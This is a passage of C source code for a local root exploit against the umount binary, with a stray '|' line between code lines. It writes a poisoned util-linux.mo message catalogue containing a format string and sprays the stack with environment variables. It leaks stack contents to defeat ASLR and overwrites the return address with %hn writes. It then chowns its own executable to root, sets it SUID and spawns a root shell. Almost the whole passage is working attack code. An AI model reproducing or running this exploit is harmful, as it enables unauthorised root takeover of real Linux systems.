"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
|
},
|
|
(char*[]){"1234", stackDumpStr, "5678"},
|
|
3);
|
|
assert(!result);
|
|
free(stackDumpStr);
|
|
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
|
namespaceMountBaseDir, osReleaseExploitData[2]);
|
|
assert(result<PATH_MAX);
|
|
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
|
assert((!result)||(errno==EEXIST));
|
|
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
|
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
|
namespaceMountBaseDir, osReleaseExploitData[2]);
|
|
secondPhaseCataloguePathname=strdup(pathBuffer);
|
|
|
|
free(namespaceMountBaseDir);
|
|
return(namespacedProcessPid);
|
|
}
|
|
|
|
|
|
|
|
/** Create the format string to write an arbitrary value to the
|
|
* stack. The created format string avoids to interfere with
|
|
* the complex fprintf format handling logic by accessing fprintf
|
|
* internal state on stack. Thus the modification method does
|
|
* not depend on that ftp internals. The current libc fprintf
|
|
* implementation copies values for formatting before applying
|
|
* the %n writes, therefore pointers changed by fprintf operation
|
|
* can only be utilized with the next fprintf invocation. As
|
|
* we cannot rely on a stack having a suitable number of pointers
|
|
* ready for arbitrary writes, we need to create those pointers
|
|
* one by one. Everything needed is pointer on stack pointing
|
|
* to another valid pointer and 4 helper pointers pointing to
|
|
* writeable memory. The **argv list matches all those requirements.
|
|
* @param printfArgvValuePos the position of the argv pointer from
|
|
* printf format string view.
|
|
* @param argvStackAddress the address of the argv list, where
|
|
* the argv[0] pointer can be read.
|
|
* @param printfArg0ValuePos the position of argv list containing
|
|
* argv[0..n] pointers.
|
|
* @param mainFunctionReturnAddress the address on stack where
|
|
* the return address from the main() function to _libc_start()
|
|
* is stored.
|
|
* @param writeValue the value to write to mainFunctionReturnAddress
|
|
*/
|
|
void createStackWriteFormatString(
|
|
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
|
void *argvStackAddress, int printfArg0ValuePos,
|
|
void *mainFunctionReturnAddress, unsigned short *writeData,
|
|
int writeDataLength) {
|
|
int result=0;
|
|
int currentValue=-1;
|
|
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
|
// Find the lowest value to write.
|
|
nextWriteValue=0x10000;
|
|
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
|
int value=writeData[valuePos];
|
|
if((value>currentValue)&&(value<nextWriteValue))
|
|
nextWriteValue=value;
|
|
}
|
|
if(currentValue<0)
|
|
currentValue=0;
|
|
if(currentValue!=nextWriteValue) {
|
|
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
|
nextWriteValue-currentValue);
|
|
formatBuffer+=result;
|
|
bufferSize-=result;
|
|
currentValue=nextWriteValue;
|
|
}
|
|
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
|
if(writeData[valuePos]==nextWriteValue) {
|
|
result=snprintf(formatBuffer, bufferSize,
|
|
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
|
formatBuffer+=result;
|
|
bufferSize-=result;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Print the return function address location number of bytes
|
|
// except 8 (those from the LABEL counter) and write the value
|
|
// to arg1.
|
|
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
|
result=snprintf(formatBuffer, bufferSize,
|
|
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
|
writeCount, writeCount, printfArg0ValuePos);
|
|
formatBuffer+=result;
|
|
bufferSize-=result;
|
|
|
|
// Write the LABEL 6 more times, thus multiplying the the single
|
|
// byte write pointer to an 8-byte aligned argv-list pointer and
|
|
// update argv[0] to point to argv[1..n].
|
|
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
|
result=snprintf(formatBuffer, bufferSize,
|
|
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
|
writeCount, writeCount, printfArgvValuePos);
|
|
formatBuffer+=result;
|
|
bufferSize-=result;
|
|
|
|
// Append a debugging preamble.
|
|
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
|
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
|
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
|
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
|
formatBuffer+=result;
|
|
bufferSize-=result;
|
|
}
|
|
|
|
|
|
/** Wait for the trigger pipe to open. The pipe will be closed
|
|
* immediately after opening it.
|
|
* @return 0 when the pipe was opened before hitting a timeout.
|
|
*/
|
|
int waitForTriggerPipeOpen(char *pipeName) {
|
|
struct timespec startTime, currentTime;
|
|
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
|
startTime.tv_sec+=10;
|
|
assert(!result);
|
|
while(1) {
|
|
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
|
if(pipeFd>=0) {
|
|
close(pipeFd);
|
|
break;
|
|
}
|
|
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
|
if(currentTime.tv_sec>startTime.tv_sec) {
|
|
return(-1);
|
|
}
|
|
currentTime.tv_sec=0;
|
|
currentTime.tv_nsec=100000000;
|
|
nanosleep(¤tTime, NULL);
|
|
}
|
|
return(0);
|
|
}
|
|
|
|
|
|
/** Invoke umount to gain root privileges.
|
|
* @return 0 if the umount process terminated with expected exit
|
|
* status.
|
|
*/
|
|
int attemptEscalation() {
|
|
int escalationSuccess=-1;
|
|
|
|
char targetCwd[64];
|
|
snprintf(
|
|
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
|
|
|
int pipeFds[2];
|
|
int result=pipe(pipeFds);
|
|
assert(!result);
|
|
|
|
pid_t childPid=fork();
|
|
assert(childPid>=0);
|
|
if(!childPid) {
|
|
// This is the child process.
|
|
close(pipeFds[0]);
|
|
fprintf(stderr, "Starting subprocess\n");
|
|
dup2(pipeFds[1], 1);
|
|
dup2(pipeFds[1], 2);
|
|
close(pipeFds[1]);
|
|
result=chdir(targetCwd);
|
|
assert(!result);
|
|
|
|
// Create so many environment variables for a kind of "stack spraying".
|
|
int envCount=UMOUNT_ENV_VAR_COUNT;
|
|
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
|
assert(umountEnv);
|
|
umountEnv[envCount--]=NULL;
|
|
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
|
while(envCount>=0) {
|
|
umountEnv[envCount--]="AANGUAGE=X.X";
|
|
}
|
|
// Use the built-in C locale.
|
|
// Invoke umount first by overwriting heap downwards using links
|
|
// for "down", then retriggering another error message ("busy")
|
|
// with hopefully similar same stack layout for other path "/".
|
|
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
|
result=execve(umountArgs[0], umountArgs, umountEnv);
|
|
assert(!result);
|
|
}
|
|
close(pipeFds[1]);
|
|
int childStdout=pipeFds[0];
|
|
|
|
int escalationPhase=0;
|
|
char readBuffer[1024];
|
|
int readDataLength=0;
|
|
char stackData[STACK_LONG_DUMP_BYTES];
|
|
int stackDataBytes=0;
|
|
|
|
struct pollfd pollFdList[1];
|
|
pollFdList[0].fd=childStdout;
|
|
pollFdList[0].events=POLLIN;
|
|
|
|
// Now learn about the binary, prepare data for second exploitation
|
|
// phase. The phases should be:
|
|
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
|
// file to be read, that contains a poisonous format string.
|
|
// Successful poisoning results in writing of 8*'A' preamble,
|
|
// we are looking for to indicate end of this phase.
|
|
// * 1: The poisoned process writes out stack content to defeat
|
|
// ASLR. Reading all relevant stack end this phase.
|
|
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
|
// thus triggering re-read of util-linux.mo. To avoid races,
|
|
// we let umount open a named pipe, thus blocking execution.
|
|
// As soon as the pipe is ready for writing, we write a modified
|
|
// version of util-linux.mo to another file because the pipe
|
|
// cannot be used for sending the content.
|
|
// * 3: We read umount output to avoid blocking the process and
|
|
// wait for it to ROP execute fchown/fchmod and exit.
|
|
while(1) {
|
|
if(escalationPhase==2) {
|
|
// We cannot use the standard poll from below to monitor the pipe,
|
|
// but also we do not want to block forever. Wait for the pipe
|
|
// in nonblocking mode and then continue with next phase.
|
|
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
|
if(result) {
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
escalationPhase++;
|
|
}
|
|
|
|
// Wait at most 10 seconds for IO.
|
|
result=poll(pollFdList, 1, 10000);
|
|
if(!result) {
|
|
// We ran into a timeout. This might be the result of a deadlocked
|
|
// child, so kill the child and retry.
|
|
fprintf(stderr, "Poll timed out\n");
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
// Perform the IO operations without blocking.
|
|
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
|
result=read(
|
|
pollFdList[0].fd, readBuffer+readDataLength,
|
|
sizeof(readBuffer)-readDataLength);
|
|
if(!result) {
|
|
if(escalationPhase<3) {
|
|
// Child has closed the socket unexpectedly.
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
break;
|
|
}
|
|
if(result<0) {
|
|
fprintf(stderr, "IO error talking to child\n");
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
readDataLength+=result;
|
|
|
|
// Handle the data depending on escalation phase.
|
|
int moveLength=0;
|
|
switch(escalationPhase) {
|
|
case 0: // Initial sync: read A*8 preamble.
|
|
if(readDataLength<8)
|
|
continue;
|
|
char *preambleStart=memmem(readBuffer, readDataLength,
|
|
"AAAAAAAA", 8);
|
|
if(!preambleStart) {
|
|
// No preamble, move content only if buffer is full.
|
|
if(readDataLength==sizeof(readBuffer))
|
|
moveLength=readDataLength-7;
|
|
break;
|
|
}
|
|
// We found, what we are looking for. Start reading the stack.
|
|
escalationPhase++;
|
|
moveLength=preambleStart-readBuffer+8;
|
|
case 1: // Read the stack.
|
|
// Consume stack data until or local array is full.
|
|
while(moveLength+16<=readDataLength) {
|
|
result=sscanf(readBuffer+moveLength, "%016lx",
|
|
(int*)(stackData+stackDataBytes));
|
|
if(result!=1) {
|
|
// Scanning failed, the data injection procedure apparently did
|
|
// not work, so this escalation failed.
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
moveLength+=sizeof(long)*2;
|
|
stackDataBytes+=sizeof(long);
|
|
// See if we reached end of stack dump already.
|
|
if(stackDataBytes==sizeof(stackData))
|
|
break;
|
|
}
|
|
if(stackDataBytes!=sizeof(stackData))
|
|
break;
|
|
|
|
// All data read, use it to prepare the content for the next phase.
|
|
fprintf(stderr, "Stack content received, calculating next phase\n");
|
|
|
|
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
|
|
|
// This is the address, where source Pointer is pointing to.
|
|
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
|
// This is the stack address source for the target pointer.
|
|
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
|
|
|
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
|
// This is the stack address of the libc start function return
|
|
// pointer.
|
|
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
|
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
|
sourcePointerLocation, sourcePointerTarget,
|
|
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
|
// So the libcStartFunctionReturnAddressSource is the lowest address
|
|
// to manipulate, targetPointerTarget+...
|
|
|
|
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
|
void *stackWriteData[]={
|
|
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
|
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
|
};
|
|
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
|
libcStartFunctionAddress, stackWriteData[0],
|
|
stackWriteData[1]);
|
|
escalationPhase++;
|
|
|
|
char *escalationString=(char*)malloc(1024);
|
|
createStackWriteFormatString(
|
|
escalationString, 1024,
|
|
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
|
sourcePointerTarget, // Base value to write
|
|
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
|
libcStartFunctionReturnAddressSource,
|
|
(unsigned short*)stackWriteData,
|
|
sizeof(stackWriteData)/sizeof(unsigned short)
|
|
);
|
|
fprintf(stderr, "Using escalation string %s", escalationString);
|
|
|
|
result=writeMessageCatalogue(
|
|
secondPhaseCataloguePathname,
|
|
(char*[]){
|
|
"%s: mountpoint not found",
|
|
"%s: not mounted",
|
|
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
|
},
|
|
(char*[]){
|
|
escalationString,
|
|
"BBBB5678%3$s\n",
|
|
"BBBBABCD%s\n"},
|
|
3);
|
|
assert(!result);
|
|
break;
|
|
case 2:
|
|
case 3:
|
|
// Wait for pipe connection and output any result from mount.
|
|
readDataLength=0;
|
|
break;
|
|
default:
|
|
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
|
goto attemptEscalationCleanup;
|
|
}
|
|
if(moveLength) {
|
|
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
|
readDataLength-=moveLength;
|
|
}
|
|
}
|
|
}
|
|
|
|
attemptEscalationCleanup:
|
|
// Wait some time to avoid killing umount even when exploit was
|
|
// successful.
|
|
sleep(1);
|
|
close(childStdout);
|
|
// It is safe to kill the child as we did not wait for it to finish
|
|
// yet, so at least the zombie process is still here.
|
|
kill(childPid, SIGKILL);
|
|
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
|
assert(waitedPid==childPid);
|
|
|
|
return(escalationSuccess);
|
|
}
|
|
|
|
|
|
/** This function invokes the shell specified via environment
|
|
* or the default shell "/bin/sh" when undefined. The function
|
|
* does not return on success.
|
|
* @return -1 on error
|
|
*/
|
|
int invokeShell(char *shellName) {
|
|
if(!shellName)
|
|
shellName=getenv("SHELL");
|
|
if(!shellName)
|
|
shellName="/bin/sh";
|
|
char* shellArgs[]={shellName, NULL};
|
|
execve(shellName, shellArgs, environ);
|
|
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
|
return(-1);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
char *programmName=argv[0];
|
|
int exitStatus=1;
|
|
|
|
if(getuid()==0) {
|
|
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
|
programmName);
|
|
invokeShell(NULL);
|
|
return(1);
|
|
}
|
|
|
|
if(geteuid()==0) {
|
|
struct stat statBuf;
|
|
int result=stat("/proc/self/exe", &statBuf);
|
|
assert(!result);
|
|
if(statBuf.st_uid||statBuf.st_gid) {
|
|
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
|
programmName);
|
|
int handle=open("/proc/self/exe", O_RDONLY);
|
|
fchown(handle, 0, 0);
|
|
fchmod(handle, 04755);
|
|
exit(0);
|
|
}
|
|
|
|
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
|
programmName);
|
|
setresgid(0, 0, 0);
|
|
setresuid(0, 0, 0);
|
|
invokeShell(NULL);
|
|
return(1);
|
|
}
|
|
|
|
for(int argPos=1; argPos<argc;) {
|
|
char *argName=argv[argPos++];
|
|
if(argPos==argc) {
|
|
fprintf(stderr, "%s requires parameter\n", argName);
|
|
return(1);
|
|
}
|
|
if(!strcmp("--Pid", argName)) {
|
|
char *endPtr;
|
|
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
|
if((errno)||(*endPtr)) {
|
|
fprintf(stderr, "Invalid pid value\n");
|
|
return(1);
|
|
}
|
|
killNamespacedProcessFlag=0;
|
|
} else {
|
|
fprintf(stderr, "Unknown argument %s\n", argName);
|
|
return(1);
|
|
}
|
|
}
|
|
|
|
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
|
|
|
if(!osRelease) {
|
|
if(detectOsRelease()) {
|
|
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
|
}
|
|
}
|
|
|
|
umountPathname=findUmountBinaryPathname("/bin");
|
|
if((!umountPathname)&&(getenv("PATH")))
|
|
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
|
if(!umountPathname) {
|
|
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
|
goto preReturnCleanup;
|
|
}
|
|
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
|
umountPathname);
|
|
|
|
pid_t nsPid=prepareNamespacedProcess();
|
|
if(nsPid<0) {
|
|
goto preReturnCleanup;
|
|
}
|
|
|
|
// Gaining root can still fail due to ASLR creating additional
|
|
// path separators in memory addresses residing in area to be
|
|
// overwritten by buffer underflow. Retry regaining until this
|
|
// executable changes uid/gid.
|
|
int escalateMaxAttempts=10;
|
|
int excalateCurrentAttempt=0;
|
|
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
|
excalateCurrentAttempt++;
|
|
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
|
excalateCurrentAttempt, escalateMaxAttempts);
|
|
|
|
attemptEscalation();
|
|
|
|
struct stat statBuf;
|
|
int statResult=stat("/proc/self/exe", &statBuf);
|
|
int stat(const char *pathname, struct stat *buf);
|
|
if(statResult) {
|
|
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
|
break;
|
|
}
|
|
if(statBuf.st_uid==0) {
|
|
fprintf(stderr, "Executable now root-owned\n");
|
|
goto escalateOk;
|
|
}
|
|
}
|
|
|
|
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
|
|
|
preReturnCleanup:
|
|
if(namespacedProcessPid>0) {
|
|
if(killNamespacedProcessFlag) {
|
|
kill(namespacedProcessPid, SIGKILL);
|
|
} else {
|
|
// We used an existing namespace or chroot to escalate. Remove
|
|
// the files created there.
|
|
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
|
}
|
|
}
|
|
|
|
if(!exitStatus) {
|
|
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
|
invokeShell("/proc/self/exe");
|
|
exitStatus=1;
|
|
}
|
|
return(exitStatus);
|
|
|
|
escalateOk:
|
|
exitStatus=0;
|
|
goto preReturnCleanup;
|
|
} |